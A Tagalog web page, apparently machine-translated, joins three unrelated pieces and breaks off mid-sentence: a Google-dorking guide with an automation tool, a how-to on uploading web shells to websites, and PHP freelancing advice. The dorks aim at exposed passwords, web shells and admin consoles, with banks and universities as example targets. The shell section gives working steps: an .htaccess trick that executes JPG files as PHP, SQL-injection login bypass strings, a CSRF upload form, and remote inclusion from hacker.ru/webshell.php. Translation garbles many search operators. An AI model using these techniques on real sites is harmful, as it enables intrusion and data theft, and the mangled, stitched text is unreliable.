Mula sa punto ng view ng isang robot sa paghahanap, ang isang mensahe ng error tungkol sa pagsasagawa ng isang sql query ay plain text, hindi mapaghihiwalay, halimbawa, mula sa paglalarawan ng mga produkto sa pahina. Kung biglang may nakitang robot sa paghahanap ng file na may extension na .sql, na sa ilang kadahilanan ay napunta sa gumaganang folder ng site, makikita ito bilang bahagi ng nilalaman ng site at mai-index din (kabilang ang, posibleng, ang mga password tinukoy sa loob nito).

Ang ganitong impormasyon ay mahahanap sa pamamagitan ng pag-alam ng malakas, kadalasang natatangi, mga keyword na tumutulong sa paghiwalayin ang "mahina na mga pahina" mula sa mga pahinang walang mga kahinaan.
Ang isang malaking database ng mga espesyal na query gamit ang mga keyword (tinatawag na dorks) ay umiiral sa exploit-db.com at kilala bilang ang Google Hack Database.

Bakit google?
Pangunahing naka-target ang mga Dork sa Google para sa dalawang dahilan:
− ang pinaka-flexible na syntax ng mga keyword (ipinapakita sa Talahanayan 1) at mga espesyal na character (ipinapakita sa Talahanayan 2);
− ang Google index ay mas kumpleto pa rin kaysa sa iba pang mga search engine;

Talahanayan 1 - Mga pangunahing keyword ng Google

Keyword
Ibig sabihin
Halimbawa
lugar
Maghanap lamang sa tinukoy na site. Isinasaalang-alang lamang ang url ng account
site:somesite.ru - mahahanap ang lahat ng mga pahina sa isang ibinigay na domain at mga subdomain
inurl
Maghanap sa pamamagitan ng mga salita na nasa uri. Hindi tulad ni cl. mga salitang "site", naghahanap ng mga tugma pagkatapos ng pangalan ng site
inurl:news - hinahanap ang lahat ng pahina kung saan lumalabas ang ibinigay na salita sa uri
intext
Maghanap sa katawan ng pahina
intext:”traffic jams” - ganap na katulad ng karaniwang kahilingan para sa “traffic jams”
intitle
Maghanap sa pamagat ng pahina. Teksto sa pagitan ng mga tag <br></td> <td width="214">intitle:”index of” - mahahanap ang lahat ng page na may mga listahan ng direktoryo <br></td> </tr><tr><td width="214">ext <br></td> <td width="214">Maghanap ng mga page na may tinukoy na extension <br></td> <td width="214">ext:pdf - hinahanap ang lahat ng pdf file <br></td> </tr><tr><td width="214">uri ng file <br></td> <td width="214">Sa kasalukuyan, ganap na katulad ng klase. ang salitang "ext" <br></td> <td width="214">filetype:pdf - katulad <br></td> </tr><tr><td width="214">kaugnay <br></td> <td width="214">Maghanap ng mga site na may katulad na paksa <br></td> <td width="214">related:google.ru - ay magpapakita ng mga analogue nito <br></td> </tr><tr><td width="214">link <br></td> <td width="214">Maghanap ng mga site na nagli-link dito <br></td> <td width="214">link:somesite.ru - mahahanap ang lahat ng mga site na may link dito <br></td> </tr><tr><td width="214">tukuyin <br></td> <td width="214">Ipakita ang kahulugan ng salita <br></td> <td width="214">define:0day - kahulugan ng termino <br></td> </tr><tr><td width="214">cache <br></td> <td width="214">Ipakita ang mga nilalaman ng pahina sa cache (kung mayroon) <br></td> <td width="214">cache:google.com - magbubukas ng naka-cache na pahina <br></td> </tr></tbody></table><p>Talahanayan 2 - Mga espesyal na character para sa mga query sa Google <br></p><table><tbody><tr><td width="214"><b>Simbolo</b><br></td> <td width="214"><b>Ibig sabihin</b><br></td> <td width="214"><b>Halimbawa</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Eksaktong Parirala <br></td> <td width="214">intitle: "Pahina ng configuration ng router ng router" - maghanap ng mga router <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Kahit anong text <br></td> <td width="214">inurl: “bitrix*mcart” - maghanap ng mga site sa bitrix na may mahinang mcart module <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Kahit anong karakter <br></td> <td width="214">Index.of - katulad ng index ng kahilingan <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Magtanggal ng salita <br></td> <td width="214">error -warning - ipakita ang lahat ng page na may error ngunit walang babala <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Saklaw <br></td> <td width="214">cve 2006..2016 - ipakita ang mga kahinaan ayon sa taon simula sa 2006 <br></td> </tr><tr><td width="214">|<br></td> <td width="214">Lohikal na "o" <br></td> <td width="214">linux | windows - ipakita ang mga pahina kung saan nangyayari ang una o pangalawang salita <br></td> </tr></tbody></table><br>Ito ay nagkakahalaga ng pag-unawa na ang anumang kahilingan sa isang search engine ay isang paghahanap lamang sa pamamagitan ng mga salita. <br>Walang silbi na maghanap ng mga meta-character sa pahina (mga panipi, panaklong, mga bantas, atbp.). Kahit na ang paghahanap para sa eksaktong pariralang tinukoy sa mga panipi ay isang paghahanap ng salita, na sinusundan ng paghahanap para sa eksaktong tugma sa mga resulta. <p>Lahat ng Google Hack Database dorks ay lohikal na nahahati sa 14 na kategorya at ipinakita sa Talahanayan 3. <br>Talahanayan 3 – Mga Kategorya ng Google Hack Database <br></p><table><tbody><tr><td width="168"><b>Kategorya</b><br></td> <td width="190"><b>Ano ang nagpapahintulot sa iyo na mahanap</b><br></td> <td width="284"><b>Halimbawa</b><br></td> </tr><tr><td width="168">Mga paanan <br></td> <td width="190">Mga web shell, mga pampublikong file manager <br></td> <td width="284">Hanapin ang lahat ng na-hack na site kung saan ina-upload ang mga nakalistang webshell: <br>(intitle:"phpshell" O intitle:"c99shell" O intitle:"r57shell" O intitle:"PHP Shell" O intitle:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Mga file na naglalaman ng mga username <br></td> <td width="190">Mga file ng rehistro, mga file ng pagsasaayos, mga log, mga file na naglalaman ng kasaysayan ng mga ipinasok na utos <br></td> <td width="284">Hanapin ang lahat ng registry file na naglalaman ng impormasyon ng account: <br><i>filetype:reg reg +intext:"internet account manager"</i><br></td> </tr><tr><td width="168">Mga Sensitibong Direktoryo <br></td> <td width="190">Mga direktoryo na may iba't ibang impormasyon (mga personal na dokumento, vpn config, mga nakatagong repositoryo, atbp.) <br></td> <td width="284">Hanapin ang lahat ng listahan ng direktoryo na naglalaman ng mga file na nauugnay sa VPN: <br><i>"Config" intitle:"Index of" intext:vpn</i><br>Mga site na naglalaman ng mga git repository: <br><i>(intext:"index ng /.git") ("direktoryo ng magulang")</i><br></td> </tr><tr><td width="168">Pagtukoy sa Web Server <br></td> <td width="190">Bersyon at iba pang impormasyon tungkol sa web server <br></td> <td width="284">Maghanap ng mga administrative console ng JBoss server: <br><i>inurl:"/web-console/" intitle:"Administration Console"</i><br></td> </tr><tr><td width="168">Mga Maaapektuhang File <br></td> <td width="190">Mga script na naglalaman ng mga kilalang kahinaan <br></td> <td width="284">Maghanap ng mga site na gumagamit ng script na nagbibigay-daan sa iyong mag-upload ng arbitrary na file mula sa server: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Mga Mahihinang Server <br></td> <td width="190">Mga script sa pag-install, web shell, bukas na administrative console, atbp. <br></td> <td width="284">Maghanap ng mga bukas na PHPMyAdmin console na tumatakbo bilang root: <br><i>intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"</i><br></td> </tr><tr><td width="168">Mga Mensahe ng Error <br></td> <td width="190">Ang iba't ibang mga error at babala ay madalas na nagpapakita ng mahalagang impormasyon - mula sa bersyon ng CMS hanggang sa mga password <br></td> <td width="284">Mga site na may mga error sa pagsasagawa ng mga query sa SQL sa database: <br><i>"Babala: mysql_query()" "invalid query"</i><br></td> </tr><tr><td width="168">Mga file na naglalaman ng makatas na impormasyon <br></td> <td width="190">Mga certificate, backup, email, log, SQL script, atbp. <br></td> <td width="284">Maghanap ng mga script ng initialization sql: <br><i>filetype:sql at “insert into” -site:github.com</i><br></td> </tr><tr><td width="168">Mga file na naglalaman ng mga password <br></td> <td width="190">Anumang bagay na maaaring maglaman ng mga password - mga log, sql script, atbp. <br></td> <td width="284">Mga log na nagbabanggit ng mga password: <br><i>uri ng file:</i><i>log</i><i>intext:</i><i>password |</i><i>pumasa |</i><i>pw</i><br>sql script na naglalaman ng mga password: <br><i>ext:</i><i>sql</i><i>intext:</i><i>username</i><i>intext:</i><i>password</i><br></td> </tr><tr><td width="168">Sensitibong Impormasyon sa Online Shopping <br></td> <td width="190">Impormasyong nauugnay sa mga online na pagbili <br></td> <td width="284">Maghanap ng mga pincode: <br><i>dcid=</i><i>bn=</i><i>pin</i><i>code=</i><br></td> </tr><tr><td width="168">Data ng network o kahinaan <br></td> <td width="190">Ang impormasyong hindi direktang nauugnay sa mapagkukunan ng web, ngunit nakakaapekto sa network o iba pang mga serbisyong hindi web <br></td> <td width="284">Maghanap ng mga awtomatikong proxy configuration script na naglalaman ng impormasyon tungkol sa panloob na network: <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Mga pahinang naglalaman ng mga portal sa pag-login <br></td> <td width="190">Mga pahinang naglalaman ng mga form sa pag-login <br></td> <td width="284">saplogon web page: <br><i>intext:"2016 SAP AG. Nakalaan ang lahat ng karapatan." intitle: "Logon"</i><br></td> </tr><tr><td width="168">Iba't ibang Online na Device <br></td> <td width="190">Mga printer, router, monitoring system, atbp. <br></td> <td width="284">Hanapin ang panel ng configuration ng printer: <br><i>pamagat:"</i><i>hp</i><i>laserjet"</i><i>inurl:</i><i>SSI/</i><i>Awth/</i><i>itakda_</i><i>config_</i><i>impormasyon ng device.</i><i>htm</i><br></td> </tr><tr><td width="168">Mga Advisories at Vulnerabilities <br></td> <td width="190">Mga website sa mga vulnerable na bersyon ng CMS <br></td> <td width="284">Maghanap ng mga mahihinang plugin kung saan maaari kang mag-upload ng arbitrary na file sa server: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Ang mga Dorks ay mas madalas na nakatuon sa paghahanap sa lahat ng mga site sa Internet. Ngunit walang pumipigil sa iyo na limitahan ang saklaw ng paghahanap sa anumang site o site. <br>Ang bawat query sa Google ay maaaring ituon sa isang partikular na site sa pamamagitan ng pagdaragdag ng keyword na "site:somesite.com" sa query. Maaaring idagdag ang keyword na ito sa anumang dork. <p><b>Pag-automate ng paghahanap para sa mga kahinaan</b><br>Ito ay kung paano ipinanganak ang ideya na magsulat ng isang simpleng utility na nag-automate sa paghahanap ng mga kahinaan gamit ang isang search engine (google) at umaasa sa Google Hack Database.</p><p>Ang utility ay isang script na nakasulat sa mga nodej gamit ang phantomjs. Upang maging tumpak, ang script ay binibigyang kahulugan ng phantomjs mismo. <br>Ang Phantomjs ay isang ganap na web browser na walang GUI, kinokontrol ng js code at may maginhawang API. <br>Ang utility ay nakatanggap ng isang medyo naiintindihan na pangalan - dorks. Sa pamamagitan ng pagpapatakbo nito sa command line (nang walang mga opsyon), nakakakuha kami ng maikling tulong sa ilang halimbawa ng paggamit: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Figure 1 - Listahan ng mga pangunahing opsyon sa dorks</p><p>Ang pangkalahatang syntax ng utility ay: dork “command” “option list”. <br>Ang isang detalyadong paglalarawan ng lahat ng mga pagpipilian ay ipinakita sa Talahanayan 4.</p><p>Talahanayan 4 - Dorks syntax <br></p><table border="1"><tbody><tr><td width="214"><b>Koponan</b><br></td> <td width="214"><b>Pagpipilian</b><br></td> <td width="214"><b>Paglalarawan</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Mag-print ng may bilang na listahan ng mga kategorya ng dork sa Google Hack Database <br></td> </tr><tr><td width="214">-c "numero o pangalan ng kategorya" <br></td> <td width="214">I-load ang mga pinto ng tinukoy na kategorya ayon sa numero o pangalan <br></td> </tr><tr><td width="214">-q "parirala" <br></td> <td width="214">I-download ang mga dorks na natagpuan ayon sa kahilingan <br></td> </tr><tr><td width="214">-o "file" <br></td> <td width="214">I-save ang resulta sa isang file (may mga pagpipilian lamang -c|-q) <br></td> </tr><tr><td rowspan="8" width="214">google <br></td> <td width="214">-d "dork" <br></td> <td width="214">Magtakda ng di-makatwirang dork (maaaring magamit ang opsyon nang maraming beses, pinapayagan ang kumbinasyon sa -D na opsyon) <br></td> </tr><tr><td width="214">-D "file" <br></td> <td width="214">Gumamit ng dorks mula sa file <br></td> </tr><tr><td width="214">-s "site" <br></td> <td width="214">Itakda ang site (maaaring gamitin ang opsyon nang maraming beses, pinapayagan ang kumbinasyon sa opsyon -S) <br></td> </tr><tr><td width="214">-S "file" <br></td> <td width="214">Gumamit ng mga site mula sa isang file (hahanapin ang mga dorks para sa bawat site nang hiwalay) <br></td> </tr><tr><td width="214">-f "filter" <br></td> <td width="214">Magtakda ng mga karagdagang keyword (idaragdag sa bawat dork) <br></td> </tr><tr><td width="214">-t "bilang ng ms" <br></td> <td width="214">Interval sa pagitan ng mga kahilingan sa google <br></td> </tr><tr><td width="214">-T "bilang ng ms" <br></td> <td width="214">Timeout kung nakatagpo ng captcha <br></td> </tr><tr><td width="214">-o "file" <br></td> <td width="214">I-save ang resulta sa isang file (ang mga track lang kung saan may nakita ang mase-save) <br></td> </tr></tbody></table><br>Gamit ang ghdb command, makukuha mo ang lahat ng dorks mula sa exploit-db sa pamamagitan ng arbitrary na kahilingan, o tukuyin ang buong kategorya. Kung tinukoy mo ang kategorya 0, ang buong database ay ilalabas (mga 4.5 libong dorks). <p>Ang listahan ng mga kategorya na kasalukuyang magagamit ay ipinakita sa Figure 2. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Figure 2 - Listahan ng mga available na kategorya ng dork ng GHDB</p><p>Papalitan ng google team ang bawat dork sa google search engine at susuriin ang resulta para sa mga tugma. Ang mga path kung saan may nakita ay mase-save sa isang file. <br>Sinusuportahan ng utility ang iba't ibang mga mode ng paghahanap: <br>1 dork at 1 site; <br>1 dork at maraming mga site; <br>1 site at maraming dorks; <br>maraming mga site at maraming dorks; <br>Maaaring tukuyin ang listahan ng mga dorks at site sa pamamagitan ng argumento o sa pamamagitan ng file.</p><p><b>Pagpapakita ng trabaho</b><br>Subukan nating maghanap ng anumang mga kahinaan gamit ang halimbawa ng paghahanap ng mga mensahe ng error. Sa pamamagitan ng utos: dorks ghdb –c 7 –o errors.dorks lahat ng kilalang dorks ng kategoryang “Error Messages” ay ilo-load tulad ng ipinapakita sa Figure 3. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>Figure 3 – Nilo-load ang lahat ng kilalang dorks ng kategoryang “Mga Mensahe ng Error”.</p><p>Ang mga Dorks ay dina-download at nai-save sa isang file. Ngayon ang natitira na lang ay "itakda" ang mga ito sa ilang site (tingnan ang Larawan 4). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>Figure 4 – Maghanap ng mga kahinaan ng site ng interes sa cache ng Google</p><p>Pagkaraan ng ilang panahon, ilang pahina na naglalaman ng mga error ay natuklasan sa site na pinag-aaralan (tingnan ang Larawan 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>Figure 5 – Nakita ang mga mensahe ng error</p><p>Bilang resulta, sa result.txt file nakakakuha kami ng kumpletong listahan ng mga dork na humahantong sa error. <br>Ipinapakita ng Figure 6 ang resulta ng paghahanap ng mga error sa site. <br><br>Figure 6 – Error sa resulta ng paghahanap</p><p>Sa cache para sa dork na ito, ang isang kumpletong backtrace ay ipinapakita, na nagpapakita ng ganap na mga landas ng mga script, ang sistema ng pamamahala ng nilalaman ng site at ang uri ng database (tingnan ang Larawan 7). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>Figure 7 – pagsisiwalat ng impormasyon tungkol sa disenyo ng site</p><p>Gayunpaman, ito ay nagkakahalaga ng pagsasaalang-alang na hindi lahat ng dorks mula sa GHDB ay nagbibigay ng mga tunay na resulta. Gayundin, maaaring hindi makahanap ang Google ng eksaktong tugma at magpakita ng katulad na resulta.</p><p>Sa kasong ito, mas matalinong gamitin ang iyong personal na listahan ng mga dorks. Halimbawa, palaging sulit na maghanap ng mga file na may "hindi pangkaraniwang" mga extension, ang mga halimbawa nito ay ipinapakita sa Figure 8. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>Figure 8 – Listahan ng mga extension ng file na hindi tipikal para sa isang regular na mapagkukunan ng web</p><p>Bilang resulta, gamit ang command dorks google –D extensions.txt –f bank, mula sa pinakaunang kahilingan ay sinimulan ng Google na ibalik ang mga site na may "hindi pangkaraniwang" mga extension ng file (tingnan ang Figure 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>Figure 9 – Maghanap ng "masamang" mga uri ng file sa mga website ng pagbabangko</p><p>Dapat tandaan na hindi tumatanggap ang Google ng mga query na mas mahaba sa 32 salita.</p><p>Gamit ang command dorks google –d intext:”error|warning|notice|syntax” –f university <br>Maaari kang maghanap ng mga error sa PHP interpreter sa mga website na pang-edukasyon (tingnan ang Larawan 10). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>Figure 10 – Paghahanap ng PHP runtime error</p><p>Minsan hindi maginhawang gumamit ng isa o dalawang kategorya ng mga dorks. <br>Halimbawa, kung alam na ang site ay tumatakbo sa Wordpress engine, kailangan namin ng mga module na tukoy sa WordPress. Sa kasong ito, maginhawang gamitin ang paghahanap sa Google Hack Database. Ang command na dorks ghdb –q wordpress –o wordpress_dorks.txt ay magda-download ng lahat ng dorks mula sa Wordpress, tulad ng ipinapakita sa Figure 11: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>Figure 11 – Maghanap ng mga Dorks na may kaugnayan sa Wordpress</p><p>Bumalik tayo muli sa mga bangko at gamitin ang command dorks google –D wordpress_dords.txt –f bank upang subukang maghanap ng isang bagay na kawili-wiling nauugnay sa Wordpress (tingnan ang Larawan 12). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>Figure 12 – Maghanap ng mga kahinaan sa Wordpress</p><p>Kapansin-pansin na ang paghahanap sa Google Hack Database ay hindi tumatanggap ng mga salitang mas maikli sa 4 na character. Halimbawa, kung hindi kilala ang CMS ng site, ngunit kilala ang wika - PHP. Sa kasong ito, maaari mong i-filter kung ano ang kailangan mo nang manu-mano gamit ang pipe at ang system search utility dorks –c all | findstr /I php > php_dorks.txt (tingnan ang Larawan 13): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>Figure 13 – Hanapin ang lahat ng dorks kung saan binanggit ang PHP</p><p>Ang paghahanap ng mga kahinaan o ilang sensitibong impormasyon sa isang search engine ay dapat lang gawin kung mayroong makabuluhang index sa site na ito. Halimbawa, kung ang isang site ay may 10-15 na pahina na na-index, kung gayon ay hangal na maghanap ng anuman sa ganitong paraan. Ang pagsuri sa laki ng index ay madali - ilagay lamang ang "site:somesite.com" sa Google search bar. Ang isang halimbawa ng isang site na may hindi sapat na index ay ipinapakita sa Figure 14. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>Figure 14 – Pagsusuri sa laki ng index ng site</p><p>Ngayon tungkol sa hindi kanais-nais... Paminsan-minsan ay maaaring humiling ang Google ng captcha - wala kang magagawa tungkol dito - kakailanganin mong ipasok ito. Halimbawa, kapag naghahanap sa kategoryang "Mga Mensahe ng Error" (90 dorks), isang beses lang lumitaw ang captcha.</p><p>Ito ay nagkakahalaga ng pagdaragdag na sinusuportahan din ng phantomjs ang pagtatrabaho sa pamamagitan ng isang proxy, kapwa sa pamamagitan ng http at interface ng medyas. Upang paganahin ang proxy mode, kailangan mong alisin sa komento ang katumbas na linya sa dorks.bat o dorks.sh.</p><p>Ang tool ay magagamit bilang source code</p> <br>Sa artikulong ito gusto kong pag-usapan ang mga pinakakaraniwang ginagamit na paraan ng pag-upload ng shell sa isang website. <b>Web-shell</b> ay isang uri ng malisyosong script (program) na ginagamit ng mga umaatake upang kontrolin ang mga website o server. <p><b>Paraan 1</b><br>Maghanap ng form sa website para sa pag-upload ng mga file/larawan. Sabihin nating hindi namin na-hack ang admin panel ng site at sinusubukan naming bahain ang aming shell <b>extension.php.jpg .</b> Kung matagumpay, makikita namin ang isang puting window sa halip na ang larawan, nag-right click kami at sundin ang link. Sa kaso ng pagkabigo, maaari naming gamitin ang chrome extension <b>pakialaman ang data</b>. Ito ay nagpapahintulot sa iyo na maharang at baguhin ang kahilingan ayon sa gusto mo. Kung susuriin ng site ang extension ng file, maaari muna kaming mag-upload <b>.htaccess</b> file na may mga nilalaman: <br>AddType application/x-httpd-php .jpg <br>Ang utos na ito ay magpapatupad ng mga jpg na file bilang php. <br><b>Mga detalyadong tagubilin sa video:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Mga tagubilin sa video para sa <b>pakialaman ang pag-install ng data:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>Paraan 2</b><br>Gamitin ang program upang maghanap ng mga admin panel sa site - https://github.com/bdblackhat/admin-panel-finder. Kapag nahanap na ng program ang admin panel, maaari naming subukan ang sql-injection. Sa patlang ng pag-login at password ng site ipinasok namin ang code: <br><p>" o "1"="1 " O 1=1/*</p><p>Kung ito ay gumagana, pagkatapos ay makarating kami sa admin panel at <b>Nagpapatuloy kami ayon sa pamamaraan 1.</b> Kung walang sql-injection sa admin panel sa site, maaari naming subukang i-debug ito o maghanap ng pagsasamantala para sa CMS na ito. <br><b>Mga detalyadong tagubilin sa video:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>Paraan 3</b><br>Sa paraan 3 hahanapin namin ang sql-injection sa mismong site. Maaari naming gawin ito nang manu-mano o gumamit ng sqlmap. Mayroong sapat na mga paksa sa forum tungkol sa kung paano magsagawa ng mga iniksyon, kaya manggagaling ako mula sa malayo. Kaya, ngayon ay nakahanap na kami ng isang talahanayan na may login at password ng administrator, i-decrypt ang mga hash, pumunta sa admin panel at magalak. Ngunit sabihin nating hindi namin ma-decrypt ang password at nagkamali ang lahat, pagkatapos ay kailangan naming suriin ang mga pribilehiyo ng aming user <b>. </b> Sinusuri namin ang mga pribilehiyo at ni-load ang mini-shell. <b>Para sa ilang kadahilanan, kapag gusto kong i-paste ang code, ang site ay nagbibigay sa akin ng isang error.</b><p><b>Paraan 4</b><br>Ang Paraan 4 ay nagsasangkot ng pag-atake ng csrf. Sa ibaba ng code kailangan naming palitan <b>http://</b> sa aming target na link. <b>Pumili ng shell</b> at pindutin ang pindutan <b>mag-upload.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Mag-upload"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>Paraan 5</b><br>Alamin ang higit pa tungkol sa iyong target at maghanap ng pagsasamantala. Mayroong isang napaka-kagiliw-giliw na website para dito - https://www.exploit-db.com. Walang sinuman ang nagkansela sa napakalaking pag-hack ng mga website sa pamamagitan ng mga kahinaan, ngunit mayroon nang isang artikulo tungkol dito sa form. <p>Marami pang paraan upang punan ang isang shell at walang saysay na pag-usapan ang bawat isa. Kung gusto mong magsanay, pagkatapos ay i-install ang dvwa - ito ay isang programa na idinisenyo upang tulungan ang mga propesyonal sa seguridad na subukan ang kanilang mga kasanayan at tool sa isang legal na kapaligiran.</p><p><b>Paraan 6 <br><b>Php injection</b>- ito ay isang paraan ng pag-atake sa isang website kapag ang nang-aatake ay nag-inject ng kanyang PHP code sa inaatakeng PHP application.</b><br>www.site.ru?page=home.html <br>Sa pamamagitan ng pagsasagawa ng utos, ilo-load namin ang home,html page. Ngayon ay susubukan naming mag-load ng malisyosong shell. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>Dork: <b>Inurl:pahina=</b></p><p>Mayroon ding paraan upang makahanap ng na-load na shell gamit ang perl</p> <p> » </p><h1>Paano kumita ng magandang pera ang isang PHP programmer sa bahay?</h1><p>Karamihan sa mga matagumpay na programmer ng PHP ay kumikita ng magandang pera mula sa bahay. Sa simula ng anumang kita, ang mga paghihirap ay lumitaw. Nangyayari na ang mga paghihirap at kakulangan ng kaalaman sa mga pamamaraan ng kita ay humihikayat sa lahat ng pagnanais na kumita ng pera sa bahay, at pagkatapos ay ang mga programmer ay naghahanap ng pagkakataon na magtrabaho sa mga opisina, kung saan mayroong isang mas malaking garantiya na ang pera ay maaaring matanggap bawat buwan, at ang propesyonal na paglago ay maaari.</p><p>Ngunit ang kakayahang magtrabaho mula sa bahay ay may higit na kalamangan kaysa kahinaan.</p><h3>pros</h3><p>Magtatrabaho ka para sa sarili mo. Walang magpapaalis sa iyo, magagawa mong ipamahagi ang iyong sariling iskedyul o trabaho sa oras na gusto mo.</p><p>Pumili ka para sa iyong sarili ng isang paraan upang kumita ng pera gamit ang programming, na, una, ay magpapataas ng iyong interes sa trabaho, at pangalawa, mayroon kang malaking kalayaan sa pagkilos. Hindi mo kailangang magtrabaho sa isang bagay na hindi mo gusto. Mayroon ding mas maraming mga pagkakataon upang pagsamahin ang mga paraan ng kita ng pera.</p><h3>Mga minus</h3><p>Ito ay magiging mahirap sa una, at upang makuha ang unang pera para sa iyong trabaho kailangan mong mamuhunan ng maraming pagsisikap at oras. At para magkaroon ng tubo, kailangan mong patuloy na umunlad at magkaroon ng pasensya at wastong ipamahagi ang iyong iskedyul upang magkaroon ka ng sapat na oras upang makumpleto ang gawain sa oras.</p><h3>Kumita ng pera mula sa iyong mga script</h3><p>Mayroong maraming iba't ibang mga script sa Internet na madaling ma-download at mai-install ng mga tao sa kanilang website. Maaari kang magsulat ng iyong sariling natatanging script, at mayroong dalawang opsyon para sa kung paano ka kikita ng pera mula sa iyong script. Ibenta ito o i-post ito sa pamamagitan ng mga serbisyo sa pagbabahagi ng file. Maaari ka ring gumamit ng dalawang pagpipilian. Halimbawa, ang mga magaan na script, ngunit sa parehong oras ay napakahalaga din na ilagay sa pamamagitan ng mga serbisyo sa pagbabahagi ng file nang eksakto ang mga script na iyon na magiging lubhang kailangan. Upang gawin ito, ang mga script ay dapat na in demand upang ma-download ng mga tao ang mga ito para sa kanilang mga pangangailangan.</p><p>Maaaring ibenta ang malalaking script sa makatwirang presyo. Maaari kang mag-post ng ad sa mga forum, o kung mayroon kang sariling personal na blog o website, maglagay ng advertisement para sa pagbebenta ng mga script.</p><p>Sa anumang kaso, kahit anong opsyon ang pipiliin mo, ilagay ang script sa archive at tiyaking isama ang mga detalyadong tagubilin at impormasyon sa pakikipag-ugnayan tungkol sa iyong sarili. Siguraduhing magbigay ng suporta, dahil mahalaga para sa iyo na magtrabaho para sa iyong sarili. Pagkatapos ng lahat, kailangan mong irekomenda o i-download ang iyong mga script. Dapat ay may mataas na kalidad ang mga ito. Kung humingi sa iyo ng tulong ang isang tao, magalang na ipaliwanag sa kanya ang tungkol sa script o tulungan siyang i-install ito. Dapat may mga komento ang iyong mga script. Ano ang responsibilidad ng bawat function, atbp. Pagkatapos ng lahat, ang isang tao ay madaling malito sa iyong code, kung saan walang mga notasyon.</p><h3>Sariling at magkasanib na proyekto</h3><p>Magandang gumawa ng sarili mong website para matagumpay na kumita ng pera. Mayroong maraming mga pagkakataon upang kumita ng pera gamit ang iyong website. Kung i-promote mo ito ng maayos, maaari kang mag-post ng mga script doon para sa pagbebenta. Ang mga collaborative na proyekto ay magpapalawak sa iyong mga kakayahan, na mabuti para sa tagumpay ng home programming. Samakatuwid, maghanap ng mga kasosyo o huwag tanggihan ang mga alok upang lumikha ng isang proyekto nang magkasama.</p><p>Dapat mong tiyakin na magdagdag ng mga tampok na nakakakuha ng pansin sa iyong website. Ang site ay maaaring magkaroon ng isang regular, simpleng hitsura, ngunit sa parehong oras na may sarili nitong twist. Ang isang personal na website ay tumutulong sa pagdami ng mga kliyente. Makikita nila kung paano gumagana ang iyong mga script, kung hindi sila magtatagal sa pag-load, kawili-wiling gamitin, at higit sa lahat, orihinal, hindi katulad ng iba pa. Pagkatapos ay makikita mo ang tagumpay.</p><h3>Mga kita sa mga order</h3><p>Upang gawin ito, magrehistro lamang sa iba't ibang mga palitan para sa mga freelancer at maghanap ng mga order. Ipakita ang iyong portfolio ng natapos na gawain. Ngunit mag-ingat, may mga hindi tapat na tao sa mundo at upang hindi ka mahulog sa panlilinlang, ipakita muna ang trabaho na matatagpuan sa iyong server (nga pala, sa kasong ito kakailanganin mong magrenta ng vps http:/ /nkvd.pro/vps/), at kung babayaran ka nila ng bahagi, pagkatapos ay ilipat ang kalahati sa kanilang server, at gawin ang parehong sa pangalawang bahagi. Ang pamamaraang ito ng kita ay itinuturing na kumikita, ngunit depende sa antas ng iyong kaalaman at kasanayan. Depende din ito sa 